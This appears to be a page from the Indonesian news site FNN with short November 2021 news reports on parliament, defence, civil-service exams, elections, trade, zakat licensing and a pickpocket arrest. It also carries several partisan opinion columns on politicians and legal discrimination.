Jakarta, FNN - Ketua Dewan Perwakilan Daerah (DPD) RI La Nyalla Mahmud Mattalitti menegaskan komitmennya untuk mengawal dana balai latihan kerja (BLK) untuk pondok pesantren. "Soal BLK ini, apakah sudah diterima atau belum, saya siap mengawal agar kita tahu bagaimana perkembangannya," kata La Nyalla dalam keterangan tertulis di Jakarta, Selasa, saat menerima audiensi ulama perwakilan dari berbagai pondok pesantren di Jawa Timur. Dalam pertemuan yang diselenggarakan di Ruang Kerja DPD RI Lantai 8 Gedung Nusantara III, Kompleks Parlemen, Senayan, Ketua DPD RI didampingi sejumlah senator di antaranya Sylviana Murni (DKI Jakarta), Bustami Zainuddin (Lampung), dan Sukiryanto. Ulama dari Jawa Timur yang hadir di antaranya adalah KH Abdul Bari (PP Darul Falah), KH Sirotol Mustaqim (Raudlatul Islam), KH Juaini dan Ustaz Shofi (PP Addimyati), KH Hoirul Anam dan Ustaz Mustamar (Darul Hikam), Ustaz Bayu Wibowo (PP As Salafy), dan KH Bahrurrosid (Miftakhul Ulum Attaufik). "Dana BLK ini penting bagi kami untuk mengembangkan pondok pesantren. Kedatangan kami ke sini untuk meminta saran bagaimana mengembangkan pesantren agar pendidikan formal dan informal semakin baik. Kami mohon dibantu agar BLK bisa segera kami terima," kata KH Sirotol Mustaqim. Selain itu, ia juga menyampaikan aspirasi berkaitan dengan asrama di pondok pesantren yang kurang memadai. "Asrama putra dan putri ini saya berharap dapat diperhatikan, karena berkaitan dengan proses belajar mengajar di pondok pesantren," ujar dia. Senator asal Jawa Timur itu memaparkan, DPD RI tengah berjuang melakukan amendemen ke-5 konstitusi. "Apa yang terjadi saat ini, di mana korupsi merajalela dan persoalan lainnya, itu terjadi karena imbas dari amendemen mulai tahun 1999-2002," kata La Nyalla. Imbasnya, kata dia lagi, hal krusial bagi bangsa ini adalah pemberlakuan presidential treshold (PT) bagi persyaratan untuk mencalonkan presiden dan wakil presiden. "Imbasnya seperti yang kita rasakan saat ini. Kita harus memikirkan bagaimana santri kita, pesantren kita. Kapan kita mau maju kalau begini terus," kata La Nyalla menegaskan. (sws)

Wamenhan Herindra Terima Kunjungan Kerja Menlu Denmark

Jakarta, FNN - Wakil Menteri Pertahanan (Wamenhan) Letjen TNI M Herindra menerima kunjungan kerja Menteri Luar Negeri (Menlu) Denmark Jeppe Kofod di Kantor Kemhan, Jakarta, Selasa, yang membahas kerja sama pertahanan. Kunjungan Menlu Denmark itu disambut dengan upacara Jajar Kehormatan di Aula Hening BTI, Kementerian Pertahanan. Pada pertemuan tersebut, Wamenhan didampingi Irjen Letjen TNI Ida Bagus Purwalaksana dan Kabaranahan Marsekal Muda TNI Yusuf Jauhari, sedangkan Menlu Denmark didampingi Duta Besar Denmark untuk Indonesia, Lars Bo Larsen. Atas kedatangan Menlu Denmark, Wamenhan Herindra menyampaikan penghargaan dan ucapan terima kasih telah berkunjung ke Kementerian Pertahanan. Mantan Danjen Kopassus ini berharap dengan kunjungan Menlu Denmark dapat mempererat serta meningkatkan hubungan bilateral pertahanan kedua negara. Sebelumnya, ada beberapa kerja sama pertahanan antara Indonesia dan Denmark, diantaranya Plan of Action (POA) 2017-2020 melalui 3rd Bilateral Forum Indonesia-Denmark di bawah Kementerian Luar Negeri RI. Kemudian beberapa kerja sama bidang industri pertahanan serta penandatanganan kontrak dengan pemerintah Indonesia untuk Electronic Support Measures (ESM) Enam Kapal TNI AL pada Agustus 2021. (sws)

Anggota DPR Minta Lelang PT Kertas Leces Transparan

Jakarta, FNN - Anggota Komisi VI DPR RI Achmad Baidowi meminta proses lelang PT Kertas Leces yang merupakan salah satu perusahaan badan usaha milik negara (BUMN) berjalan dengan transparan. "Komisi VI berharap semua proses lelang aset PT Kertas Leces dan BUMN lainnya yang sudah dinyatakan bangkrut bisa berjalan dengan baik, sehingga tidak merugikan keuangan negara," kata Achmad Baidowi melalui keterangan tertulis yang diterima, di Jakarta, Selasa, usai menerima aspirasi dari Asosiasi Pengusaha Limbah dan Logam Indonesia (Apelti) yang mempertanyakan transparansi pelaksanaan lelang PT Pabrik Kertas Leces di Probolinggo, Jawa Timur. Apelti, kata dia, melihat ada hal yang janggal dalam pelaksanaan lelang dan berpotensi merugikan negara miliaran rupiah. Oleh karena itu, masalah tersebut perlu segera ditangani dengan baik oleh pihak terkait supaya tidak menjadi isu liar yang merugikan semua pihak, khususnya Kementerian BUMN. "Saat bertemu dengan pengurus Apelti, mereka menyampaikan temuan bahwa ada ketidakberesan dalam proses lelang, sehingga berpotensi merugikan negara miliaran rupiah," kata Baidowi. Menurut Baidowi, di antara pihak yang berwenang mengklarifikasi isu di lapangan tersebut adalah PT Perusahaan Pengelola Aset (PPA) yang memang ditugaskan untuk memastikan pengelolaan aset berjalan sesuai dengan koridor yang ada. Dalam hal ini PT PPA harus proaktif menindaklanjuti semua laporan dan temuan yang berkembang di lapangan termasuk dari Apelti, ujarnya. Selain itu, ia juga meminta Badan Pengawasan Keuangan dan Pembangunan (BPKP) untuk melakukan audit investigatif terhadap persoalan lelang karena menyangkut kekayaan milik negara. Tidak hanya itu, aparat penegak hukum juga perlu turun tangan guna mengungkap persoalan tersebut supaya lebih terang benderang, ujar politisi PPP tersebut. PT Kertas Leces adalah pabrik kertas yang berdiri sejak 1939 dan mengalami masa sulit sejak 2014, karena menjalani proses gugatan permohonan Penundaan Kewajiban Pembayaran Utang (PKPU). (sws)

SKB CPNS Yogyakarta akan Diikuti 1.457 Peserta

Yogyakarta, FNN - Pelaksanaan Seleksi Kompetensi Bidang untuk penerimaan calon pegawai negeri sipil di lingkungan Pemerintah Kota Yogyakarta pada tahun ini akan diikuti 1.457 peserta dan rencananya digelar pada 3-6 Desember. “Seluruhnya adalah peserta yang sudah dinyatakan lolos Seleksi Kompetensi Dasar (SKD) pada seleksi yang digelar bulan lalu,” kata Kepala Bidang Perencanaan dan Pengembangan Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) Kota Yogyakarta Gunawan Adhi Putra di Yogyakarta, Selasa. Di Kota Yogyakarta, Seleksi Kompetensi Bidang (SKB) akan kembali digelar di GOR Amongrogo, sama seperti lokasi penyelenggaraan SKD. Di lokasi tersebut akan diikuti 1.280 peserta. Sedangkan sisanya, 177 peserta, dapat mengikuti penyelenggaraan seleksi di lokasi lain yang sudah ditetapkan “Teknis pelaksanaan SKB CPNS akan sama seperti penyelenggaraan SKD. Termasuk ketentuan protokol kesehatan yang harus dipenuhi oleh peserta,” katanya. Hanya saja, lanjut dia, pada penyelenggaraan SKB masih dimungkinkan diikuti peserta yang dinyatakan positif COVID-19. Peserta akan ditempatkan di ruangan khusus dengan protokol kesehatan ketat. “Peserta yang dinyatakan positif COVID-19 masih tetap bisa mengikuti tes sesuai jadwal. Nantinya, akan ditempatkan di ruang khusus yang terpisah dengan peserta tes lain,” katanya. Jalur menuju ruangan pun akan dipisah dan ditangani oleh petugas secara khusus sehingga peserta lain tidak perlu khawatir. “Peserta wajib memberikan laporan mengenai kondisinya tersebut pada H-1 jadwal seleksi,” katanya Sedangkan untuk penyelenggaraan SKB akan tetap dilakukan menggunakan metode Computer Assisted Test (CAT). Pelaksanaan tes dilakukan tiga sesi setiap hari dengan jumlah peserta 150 orang per sesi. Gunawan menyebut, peserta SKB CPNS Pemerintah Kota Yogyakarta bisa mengetahui berbagai perkembangan dan informasi seputar seleksi tersebut melalui laman bkpp.jogjakota.go.id termasuk kisi-kisi materi SKB. “Kami berharap, peserta bisa menjaga kondisi kesehatan dan tidak mempercayai pihak manapun yang menawarkan berbagai janji kelulusan CPNS. Peserta juga diingatkan tidak melakukan kecurangan karena akan merugikan diri sendiri,” katanya. Pemerintah Kota Yogyakarta pada tahun ini membuka 546 fomasi CPNS dengan total pelamar mencapai 19.127 orang.

KPU: Pemilih Pemula di Palangka Raya 12.000 Lebih

Palangka Raya, FNN - Ketua Komisi Pemilihan Umum (KPU) Kota Palangka Raya, Kalimantan Tengah, Ngismatul Choiriyah,mengatakan, jumlah pemilih pemula pada pemilihan umum 2024 mendatang mencapai 12.000 orang lebih. "Nanti pada Pemilu 2024 ada 12.000 lebih pemilih pemula di Kota Palangka Raya. Saat ini mereka masih bersekolah di kelas 10,11 dan 12," kata Ngismatul di Palangka Raya, Selasa. Untuk itu, sejak saat ini KPU "Kota Cantik" terus menggencarkan sosialisasi terhadap para siswa tersebut mengenai pentingnya berpartisipasi dalam pemilihan umum. Di sisi lain, saat ini, penyelenggara pemilihan umum tingkat Ibu Kota Provinsi Kalimantan Tengah juga terus melakukan pemutakhiran data pemilih berkelanjutan. "Berdasar surat edaran KPU RI, sejak Pilkada 2020 lalu, sampai saat ini kami terus melakukan pemutakhiran data berkelanjutan. Artinya secara berkala kami melakukan pembaharuan daftar pemilih," kata Ketua Komisi Pemilihan Palangka Raya itu. Ngismatul mencontohkan, pemutakhiran data itu seperti penghapusan data daftar pemilih jika yang bersangkutan meninggal dunia atau pindah alamat di luar Kota Palangka Raya. Selain itu, juga dilakukan penambahan jika ada masyarakat yang berpindah menjadi warga Kota Palangka Raya. "Data ini akan kami perbaharui setiap akhir bulan. Dapat dilihat di laman resmi KPU Kota Palangka Raya. Jika ada perubahan data atau warga yang belum masuk daftar pemilih silahkan lapor ke kami," kata wanita berhijab itu. Sementara itu, berdasar data yang dirilis KPU Kota Palangka Raya, sampai Oktober lalu jumlah warga "Kota Cantik" yang masuk dalam daftar pemilih berkelanjutan mencapai 183.661 orang. Jumlah itu terdiri dari 91.068 laki-laki dan 92.593 perempuan. Jumlah itu berasal dari lima kecamatan yang terdiri dari 30 kelurahan. Data itu akan terus diperbaharui dan akan diunggah ke laman resmi KPU Kota Palangka Raya di https://kota-palangkaraya.kpu.go.id. (sws)

Luhut Ungkap Upaya Tingkatkan Kinerja Ekspor Impor di Tengah Pandemi

Jakarta, FNN - Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Pandjaitan mengungkapkan upaya yang dilakukan pemerintah untuk meningkatkan kinerja ekspor dan impor di tengah kondisi pandemi COVID-19. Dalam webinar bertajuk "Embrace Trade Recovery Momentum" yang digelar secara virtual di Jakarta, Selasa, Luhut mengungkapkan dampak terhadap ekspor Indonesia tidak seragam dirasakan tergantung pada jenis produk dan tujuan ekspornya. Ekspor dengan kandungan impor tinggi dan terkait dengan rantai nilai global (global value chains/GVC) akan terdampak lebih besar. "Ekspor dengan tujuan negara yang traffic-nya rendah, seperti AS, juga akan terkena dampak lebih besar dibandingkan dengan ekspor ke China dan Jepang," kata Luhut dalam keterangan tertulis di Jakarta, Selasa. Untuk meningkatkan kinerja ekspor impor, pemerintah, lanjut Luhut, telah mengeluarkan berbagai kebijakan termasuk mempermudah proses bongkar muat untuk ekspor impor di pelabuhan Indonesia guna mengurangi kepadatan di pelabuhan dan mempercepat pergerakan kapal dan kontainer. Selain itu, pemerintah juga memberikan insentif fiskal melalui penjaminan terhadap pinjaman melalui LPEI (export-related) dan PII (non-export). "Teman-teman pengusaha jangan pernah pesimis melihat ini, Anda harus optimistis melihat negeri kita ini. Karena menurut saya, we are on the right track (kita sudah sesuai jalur)," katanya. Lebih lanjut, Luhut mengemukakan pandemi COVID-19 telah mengubah hampir semua lini atau sendi kehidupan di berbagai negara di dunia, tak terkecuali Indonesia. Karena pandemi, Indonesia bahkan melakukan perubahan-perubahan besar atau reformasi hampir di semua bidang. "Salah satu paling mendasar adalah di bidang kesehatan," katanya. Menurut Luhut, perubahan di sektor kesehatan sangat perlu dan penting dilakukan untuk menghadapi dinamika yang terjadi. Melihat kondisi saat ini, Luhut memandang bahwa secara umum pemulihan kondisi ekonomi Indonesia berjalan dengan dengan baik dan pemulihan ekonomi betul-betul bergantung pada bagaimana pemerintah bisa mengendalikan pandemi COVID-19. Ia pun mengingatkan semua pihak untuk tetap mawas diri dan terus menjaga protokol kesehatan. Ada beberapa formula yang dikombinasikan pemerintah sehingga bisa mengendalikan pandemi COVID-19 sejak awal hingga saat ini. Kunci pengendalian itu meliputi kombinasi dari penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 1-4, vaksinasi tinggi, 3M (Memakai Masker, Mencuci Tangan, & Menjaga Jarak), 3T (tracing, test, dan treatment), dan isolasi terpusat serta pelibatan para pakar dan penggunaan aplikasi PeduliLindungi. "Penanganan COVID-19 ini sangat penting, sekarang saya lihat kita sudah banyak yang lebih rileks tetapi tetap hati-hati menghadapi ini semua, tidak boleh sombong dan jemawa," pesannya. (mth)

Karma

Oleh Ady Amar *) Kata "karma" tiba-tiba menyeruak di ruang publik. Menjadi kata yang muncul bertubi-tubi di media sosial (medsos). Setidaknya sejak Senin, 22/11, semua lalu membuat simpulan atas kejadian perempuan tua yang dimaki-maki gadis muda, konon putri jenderal bintang tiga. Setidaknya itu pengakuannya. Dan sang anak dari ibu tua tadi, dikenal sebagai anggota DPR RI, ada di sampingnya. Ia adalah Arteria Dahlan, yang terus bertanya pada wanita muda tadi, siapa nama jenderal AD bintang tiga yang dimaksudnya. Tampak diacuhkan, tidak juga dijawab. Peristiwa itu di bandara Soekarno Hatta, dan sebenarnya cuma masalah sepele. Konon lagi, perempuan tua itu menghalangi jalannya. Maka terjadilah keributan. Videonya viral. Dan yang memviralkan kawan Arteria Dahlan sendiri, sesama anggota Komisi III, jadi viralnya video itu tampaknya memang sengaja dibuat menjadi viral. Apa maksudnya, biar ini bagian polisi untuk mengurainya. Netizen yang melihat video dan membaca pemberitaan soal itu, menyebut sebagai "karma" yang diterima sang ibu tua tadi. Itu karena ulah sang anak, Arteria Dahlan. Peristiwa pada acara Mata Najwa (2019), muncul sikap tidak selayaknya dari Arteria Dahlan yang menghardik dengan keras Prof Emil Salim, dalam perdebatan berkenaan dengan pelemahan KPK. Prof Emil Salim yang biasa tenang dan sejuk jika berbicara, sampai harus menggebrak meja saat ia berbicara dipotong terus menerus dengan tidak selayaknya. Telunjuk Arteria yang dibarengi intonasi bicara keras dan mata melotot ditujukan pada Prof Emil, lelaki tua yang usianya dikisaran 90 tahun. Sungguh pemandangan tidak sedap. Publik mengingat itu dengan baik, dengan stempel di benak, bahwa anggota DPR RI ini sebagai anak muda tidak sopan dan belagu. Tidak punya santun pada yang lebih tua. Bicaranya terkesan mau menang sendiri, sehingga tidak melihat lagi lawan bicaranya siapa. Baginya yang penting menyerang dan menang. Itu setidaknya ditunjukkan Arteria Dahlan dalam perdebatan itu. Maka, kejadian sang ibu yang diperlakukan dengan tidak semestinya di ruang publik oleh perempuan muda anak jenderal, dan itu di depan Arteria Dahlan, menjadikan publik senang. Mengingatkan publik, bahwa Arteria Dahlan juga memperlakukan Prof Emil Salim di hadapan jutaan mata yang menyaksikan acara itu dengan tidak selayaknya. Maka, kata "karma" dipakai melabeli ulah sang anak lelaki ibu tadi, yang menabur angin pada waktu tertentu, dan menuai badai pada kesempatan lainnya. Kata karma dipakai untuk menyebut ulah sang anak pada suatu waktu, yang menampol sang ibu di waktu lainnya. Karma itu sebenarnya konsep dalam agama Hindu, yang diserap untuk melabeli sebuah sebab akibat. Dan itu lebih dipakai pada hal-hal keburukan: jika berbuat tidak baik, maka pada suatu waktu karma akan datang dengan balasan keburukan. Mengapa karma tidak mengena pada sang anak, mengapa justru sang ibu yang menerima perbuatan tidak mengenakkan itu. Meski sebenarnya itu juga mengena pada sang anak yang ada di sampingnya, yang tampak sikapnya justru memble, tidak meledak-ledak, melihat sang ibu diperlakukan dengan tidak semestinya. Arteria tampak ciut juga dalam penampakan di video itu. Justru perempuan muda itu yang nekat dengan menunjuk-nunjuk sang ibu, seperti yang dulu ia lakukan pada Prof Emil Salim. Setidaknya orang lalu menyebut, itu sebagai "karma" yang muncul, tanpa ingin memperdebatkan konsep itu berasal darimana, tapi bisa jadi pembelajaran yang baik buat semuanya. Arteria Dahlan dan perempuan muda anak pak jenderal bintang tiga, yang entah siapa namanya, adalah produk manusia yang berjalan dengan nafsu amarah, yang bersandar pada kesombongan. Maka yang keluar dari mulut-mulut mereka adalah perkataan dan sikap tidak selayaknya. Tidak sedikit pun punya rasa hormat pada yang lebih tua. Sehingga tidak perlu jari telunjuk, mata melotot dan perkataan kasar dengan intonasi tinggi diumbar, seolah itu bagian dari mempertahankan harga diri. Itulah kesombongan. Itu aji mumpung namanya. Merasa kuat karena sedang menjabat sebagai anggota dewan yang terhormat, atau mumpung jadi anak seorang jenderal. Maka lakunya suka-suka. Dan, kita rakyat kebanyakan cuma ngelus dada jika menemui kesewenang-wenangan yang sama di ruang publik. Maka, jangan coba-coba melawan kesewenang-wenangan tanpa punya "gigi", jika tidak ingin diperlakukan dengan tidak semestinya. Pilihan sikap diam, itu tanda tahu diri, bahwa pamer kuasa itu tidak lah perlu dilawan. Jika tidak ingin dapat kalimat kasar, bahkan tidak mustahil bogem mentah mendarat di pipi. Maka, sikap bersabar melihat arogansi oknum yang sedang berkuasa itu mesti dipunya. Melawan, di samping tidak ada manfaat, itu juga perlawanan tidak seimbang. Untuk melawan kesewenangan itu tidak harus menunggu karma, itu bagai menunggu godot, tapi membuat "barisan" mengedepankan perlawanan dengan sikap-sikap terpuji. (*) *) Kolumnis

Lech Walesa dan Cianjur

Oleh Ridwan Saidi Walesa lahir 1943. Sebagai tokoh buruh ia berjuang melawan penindasan rezim komunis Polandia terutama terhadap buruh. Walesa mendapat hadiah Nobel Perdamaian, sesuatu yang tak pernah diharapkannya. Malah ia memenangkan jabatan Presiden Polandia untuk periode 1990-1995. Hari ini 23 November 2021 di Cianjur terjadi demo buruh besar-besaran. Ribuan buruh memenuhi depan kantor Pemkab menuntut perbaikan nasib antara lain dengan mencabut Omnibus Law, atau Jokowi mundur. Sebelumnya tuntutan Jokowi mundur digaungkan pada demo 28 Oktober 2021 dan 10 Novber 2021, bukan saja di Jakarta tetapi di kota-kota lain Indonesia. Isu Jokowi mundur menenggelamkan kisah copras capres. Mereka tidak melihat copras capres menyelesaikan persoalan Indonesia yang dibayangi krisis finansial dan energi. Yang lebih merisaukan hati lagi krisis peradaban. Publik mengikuti dengan serius ucapan-ucapan Jenderal Andika, sebagai Panglima TNI, dan Jenderal Dudung, sebagai KSAD. Di luar itu, omongan-omongan tokoh cuma saling ulang mengulang. Tidak ada yang baru, dan tidak juga memberi harapan. Orang ramai merindukan perubahan. Butuh seorang tokoh yang memiliki komitmen kuat untuk selamatkan Indonesia. Kerinduan ini dulu di Polandia diproyeksi pada diri Lech Walesa. Indonesia memerlukan pemimpin yang cerdas, bukan yang bergaya cerdas, atau ethok-ethoke cerdas. Persatuan bangsa dikuatkan, kedaulatan negara ditegakkan, moral agama dijunjung tinggi, kemiskinan dan kemelaratan rakyat disudahi, sejarah dan peradaban bangsa diluruskan dan dihormati. Mudah-mudahan harapan sederhana ini Allah bukakan jalan. Wa ba'duHU. *) Budayawan

Diskriminasi Hukum

Oleh M Rizal Fadillah Pelanggaran HAM berat yang dilakukan oleh aparat pada peristiwa pembunuhan 6 anggota Laskar FPI baru dilakukan proses peradilan 10 bulan setelah peristiwa terjadi. Masalah lama proses adalah keanehan hukum untuk peristiwa yang sangat mudah dalam pembuktian dengan kejelasan pelaku dan banyak saksi. Hal yang terang benderang kejahatannya. Hebatnya tersangka yang kemudian menjadi terdakwa tidak ditahan atau dapat berkeliaran bebas. Berbeda dengan peristiwa ikutannya yaitu penangkapan mantan Sekretaris Umum FPI Munarman yang sejak bulan April 2021 hingga kini belum jelas juntrungannya. Ditahan dengan tuduhan tindak pidana terorisme. Proses penyelidikan dan penyidikan yang sangat berlarut-larut seperti menghukum sebelum dihukum. Tidak ada aksi kekerasan atau ancaman kekerasan yang dilakukan sebagaimana rumusan UU Antiterorisme. Samar samar tuduhan hanya ceramah dan menghadiri acara baiat. Itupun terjadi tahun 2015. Sedemikian sumir peristiwanya. Dua peristiwa di atas menggambarkan betapa hukum berlaku secara diskriminatif bahkan paradoks. Untuk peristiwa pertama semestinya dilakukan penahanan, pengawasan ketat, bahkan pemecatan. Sedangkan untuk kedua dapat dilakukan proses hukum biasa tanpa penangkapan demonstratif yang cenderung melanggar HAM. Munarman adalah advokat yang sedang menjalankan tugas profesinya. Tidak sedang bersembunyi. Diskriminasi hukum sangat kentara ketika hukum ditempatkan sebagai alat kepanjangan kekuasaan. Hukum yang berada dalam kangkangan politik. Tidak jauh berbeda dengan masa penjajahan dahulu dimana hukum bukan untuk membuka ruang keadilan tetapi memang untuk menghukum lawan politik atau penentang kekuasaan. Dua aturan hukum yang saat ini up date untuk menjadi alat kepanjangan politik yaitu UU ITE dan UU Antiterorisme. Dengan UU ITE betapa mudah pelapor abal abal melaporkan sasaran pesakitan untuk diproses perbuatan pencemaran atau hoaks. Kriminalisasi untuk membungkam kebebasan berekspresi dan perbedaan pandangan politik mudah ditarik ke ranah UU ITE. Pasal karet digunakan. Demikian juga dengan UU Antiterorisme yang awalnya dibuat untuk kasus spesial super berat kekerasan atau ancaman kekerasan yang menimbulkan rasa takut, korban massal, kerusakan atau kehancuran obyek vital strategis, kini bisa ditarik ke "menghadiri baiat" atau dalam kasus mutakhir "membuat kotak amal" dan "berkebun kurma". Tuduhan yang jauh dari semangat pembuatan UU Antiterorisme tersebut. Apalagi sampai menyasar kepada lembaga keagamaan MUI segala. Terorisme negara lebih menakutkan, mengancam dan merusak daripada terorisme swasta. Perjuangan berat saat ini adalah menegakkan aturan Konstitusi yang berbunyi : "Setiap orang berhak atas pengakuan, jaminan, perlindungan dan kepastian hukum yang adil serta perlakuan hukum yang sama di hadapan hukum" (Pasal 28D ayat 1 UUD 1945). *) Pemerhati Politik dan Kebangsaan

Kemenag: LAZ Harus Berizin Demi Pengelolaan Zakat yang Profesional

Jakarta, FNN - Kementerian Agama menyatakan dalam pengelolaan zakat yang profesional maka diperlukan Lembaga Amil Zakat (LAZ) yang berizin sehingga penghimpunan, pengelolaan, dan pendistribusian dapat dipertanggungjawabkan secara transparan. "Modal utama untuk mencapai kata profesional adalah LAZ wajib berizin," ujar Direktur Pemberdayaan Zakat dan Wakaf Kementerian Agama (Kemenag) Tarmizi Tohor dalam diskusi daring yang diikuti dari Jakarta, Selasa. Tarmizi mengatakan untuk mengurus perizinan, LAZ harus memenuhi persyaratan sebagai organisasi kemasyarakatan Islam yang mengelola bidang pendidikan, dakwah, sosial, dan berbadan hukum sesuai Undang-Undang No. 23 Tahun 2011 pasal 18. LAZ yang mengajukan izin juga harus bersifat nirlaba, memiliki program pendayagunaan zakat untuk kesejahteraan umat, bersedia diaudit syariat dan keuangannya secara berkala. “LAZ juga harus mendapat rekomendasi dari Baznas, memiliki pengawas syariat, memiliki kemampuan teknis, administrasi, dan keuangan untuk menjalankan kegiatan,” ujarnya. Dalam Keputusan Menteri Agama (KMA) Nomor 333 Tahun 2015, perizinan LAZ dibagi menjadi LAZ skala nasional, provinsi, dan kabupaten/kota. LAZ skala nasional syarat utamanya mendapatkan izin dari Menteri Agama setelah mendapat rekomendasi dari BAZNAS dan mampu menghimpun dana Zakat, Infak, dan Sedekah (ZIS) sebesar Rp50 miliar rupiah per tahun. “Sedangkan LAZ skala provinsi mendapatkan izin dari Dirjen Bimas Islam dan mampu menghimpun dana ZIS sebesar Rp20 miliar rupiah per tahun," kata dia. Sedangkan untuk perizinan LAZ berskala kabupaten/kota mendapatkan izin dari Kepala Kantor Wilayah (Kakanwil) Kemenag, dan mampu menghimpun dana ZIS Rp3 miliar rupiah per tahun. "Apabila permohonan pembentukan LAZ memenuhi persyaratan setelah dilakukan verifikasi administrasi dan lapangan, Menteri, Dirjen, atau Kakanwil menerbitkan izin pembentukan LAZ dengan masa berlaku 5 tahun," kata dia. (mth)

Polisi Tangkap Empat Anggota Sindikat Copet Asal Jakarta di Ajang WSBK

Mataram, FNN - Aparat kepolisian menangkap empat orang terduga anggota sindikat copet asal Jakarta yang beraksi pada momentum perhelatan balap World Superbike (WSBK) 2021 di Sirkuit Mandalika, Nusa Tenggara Barat. Kabid Humas Polda NTB Kombes Pol Artanto dalam konferensi pers bersama Dirreskrimum Polda NTB Kombes Pol Hari Brata di Mataram, Selasa, mengungkapkan, aksi dari sindikat copet ini berhasil terungkap berkat kerja sama pengamanan tim Polri dengan masyarakat. "Dari giat pengamanan WSBK kemarin, empat pelaku yang terdiri dari satu pria dan tiga wanita ini tertangkap melakukan pencurian 'handphone' milik penonton di tribun tiket hijau tosca," ungkap Artanto. Aksi mereka yang diduga sudah terencana tersebut dikuatkan dengan temuan barang bukti berupa empat unit telepon genggam, yakni satu unit merek iPhone, dan tiga lainnya bermerek Samsung. "Mereka mendapatkan barang dalam aksi di hari Minggu," ujarnya. Sementara, Dirreskrimum Polda NTB Kombes Pol Hari Brata menjelaskan tiga dari empat pelaku ini masih ada hubungan keluarga. Mereka adalah DC (45) yang merupakan suami dari LA (41), bersama anak perempuannya berinisial DA (24). "Untuk AW (34), perempuan ini merupakan tetangga mereka di Jakarta," ucap Hari. Kemudian masing-masing pelaku memiliki peran berbeda. Untuk LA, jelasnya, berperan sebagai pemetik. Dia mengambil handphone korban dari dalam tas. Kemudian anak perempuannya, DA, berperan sebagai pengalih perhatian korban. Selanjutnya, AW, berperan menerima barang dari hasil eksekusi LA. "Setelah mendapatkan barang, LA menyerahkan ke DC. Peran dari si bapak membongkar 'handphone' korban, membuang kartu dan membuka kode pengaman," ujarnya. Lebih lanjut, Hari mengatakan aksi dari sindikat copet ini terungkap dari giat pengawasan anggota kepolisian di tribun penonton. "Jadi awalnya salah seorang pelaku tertangkap tangan oleh anggota berpakaian 'preman' yang kita sebar di tribun. Jadi satu dapat di TKP (tribun penonton), lainnya tertangkap di Pelabuhan Lembar," ucap dia. (sws)

Bupati Aceh Barat Prihatin Banyak ASN Gugat Cerai Suaminya

Meulaboh, FNN - Bupati Aceh Barat H Ramli MS mengaku prihatin dengan banyak Aparatur Sipil Negara (ASN) di daerah itu yang menggugat cerai suaminya ke pengadilan melalui Mahkamah Syar’iyah. “Saya heran mengapa banyak ASN nekat menggugat cerai suaminya, padahal selama ini tidak ada masalah seperti kondisi ekonomi, atau hal lain,” kata Ramli MS di Meulaboh, Selasa. Meski tidak merincikan berapa banyak ASN di Aceh Barat yang menggugat cerai suami, namun Ramli MS mengakui hampir setiap bulan sepanjang tahun, ia terpaksa menandatangani surat yang diajukan oleh masing-masing ASN perempuan. Ada pun alasan para ASN menggugat cerai suami, yakni diduga karena adanya faktor orang ketiga, atau persoalan lainnya yang tidak bisa disampaikan ke publik. Ramli MS mengatakan maraknya aksi gugat cerai suami oleh ASN perempuan di Aceh Barat diharapkan tidak lagi terjadi ke depan. Menurut dia, sebagai seorang abdi negara, ASN harus mampu menunjukkan kepribadian dan contoh yang baik kepada seluruh masyarakat, baik di lingkungan kerja maupun di lingkungan masyarakat di sekitar tempat tinggal. “ASN di Aceh Barat harus mampu menjadi teladan yang baik bagi masyarakat, saya berharap ke depan tidak ada lagi ASN yang menggugat cerai suami atau isterinya, ini tidak baik,” kata Ramli MS. (sws)

APDESI Maros Bekerja Sama Kejari Maros Awasi Dana Desa

Maros, FNN - Asosiasi pemerintah desa seluruh Indonesia (APDESI) Kabupaten Maros bekerja sama pihak Kejaksaan Negeri Kabupaten Maros membuat Forum Bina Desa untuk mengantisipasi penyalahgunaan dana desa di lapangan. "Sebagai tahap awal sudah dilakukan komitmen bersama Pemerintah Desa Tenrigangkae, Kecamatan Mandai, Kabupaten Maros dengan Kejari Maros," kata Kepala Desa Tenrigangkae, Wahyu Febry di Kabupaten Maros, Sulsel, Selasa. Wahyu yang juga Ketua APDESI Kabupaten Maros ini mengatakan, kerja sama dan komitmen bersama ini bertujuan mengantisipasi kekeliruan yang bakal terjadi pada mekanisme dan sistem pengelolaan dana desa. Oleh karena itu, pihak Kejari Maros bersama Pemerintah Desa setempat menjalin sinergi, agar ke depan tidak terjadi kekeliruan penggunaan dana yang di kucurkan oleh pemerintah pusat untuk meningkatkan kesejahteraan warga desa. Hal tersebut dibenarkan Kepala Kejaksaan Negeri Kabupaten Maros Suroto. Menurut dia, melalui Forum Bina Desa yang sudah terbentuk ini, diharapkan semua dapat berjalan lancar dan penerapannya sesuai dengan undang undang. "Semua itu dimaksudkan agar pemerintah desa tidak bermain-main dalam mengelola dana desa dan bantuan sosial yang telah dikucurkan pemerintah pusat," ujarnya. Untuk memantapkan penerapannya di lapangan, lanjut dia, pihaknya akan melakukan sosialisi Bina Desa melalui APDESI Kabupaten Maros. Menurut Suroto, seluruh kepala desa di Kabupaten Maros dan tergabung dalam APDESI Maros akan terjangkau dalam sosialisasi tentang pentingnya SOP untuk penggunaan dana desa. Karena itu, ia mengimbau agar seluru pemerintah desa lebih memanfaatkan struktur organisasinya sesuai tugas pokoknya. Khusus Desa Tenrigangkae, Kajari Maros berharap agar desa ini bisa menjadi desa percontohan bagi desa yang lainnya, bukan hanya di Kabupaten Maros tetapi juga kabupaten/kota lainnya di Sulsel maupun luar Sulsel. (sws)

KPPOD Sebut Masih Ada Potensi Masalah Regulasi Akibat UU Ciptaker

